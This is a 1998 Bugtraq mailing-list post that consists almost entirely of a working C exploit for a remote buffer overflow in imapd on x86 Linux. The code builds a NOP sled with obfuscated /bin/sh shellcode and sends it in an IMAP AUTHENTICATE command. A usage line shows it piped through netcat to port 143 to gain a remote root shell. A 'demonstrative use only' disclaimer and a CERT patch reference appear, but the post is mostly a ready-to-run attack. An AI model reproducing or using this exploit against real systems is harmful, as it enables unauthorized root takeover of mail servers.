imapd exploit for x86 linux
Date: Fri, 25 Sep 1998 00:20:46 +0900
From: Taeho Oh <ohhara@OHHARA.POSTECH.AC.KR>
To: BUGTRAQ@netspace.org
Subject: imapd exploit for x86 linux
begin imapd-ex.c
------------------------------
/*
imapd exploit code for x86 linux
Remote user can gain root access.
Tested under redhat linux 4.1 , 4.2 and 5.0.
Tested impad version : 9.0 and 10.205.
Usage
$ ( imapd-ex 0 ; cat ) | nc target.com 143
|
+------ try from -3000 to 3000 ( try in steps of 500 )
How to patch imapd buffer overflow bug
See http://www.cert.org/advisories/CA-98.09.imapd.html
This program is only for demonstrative use only.
USE IT AT YOUR OWN RISK!
Programmed by Taeho Oh 1998/09/23
Taeho Oh ( ohhara@postech.ac.kr ) http://ohhara.postech.ac.kr
*/
#include<stdio.h>
#include<stdlib.h>
#define OFFSET 0
#define RET_POSITION 1032
#define RANGE 20
#define NOP 0x90
char shellcode[1024]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long *addr_ptr,addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=0xbffff29f;
addr=sp-offset;
ptr=buff;
addr_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
printf("* AUTHENTICATE {%d}\r\n",bsize);
for(i=0;i<bsize;i++)
putchar(buff[i]);
printf("\r\n");
}
------------------------------
end imapd-ex.c
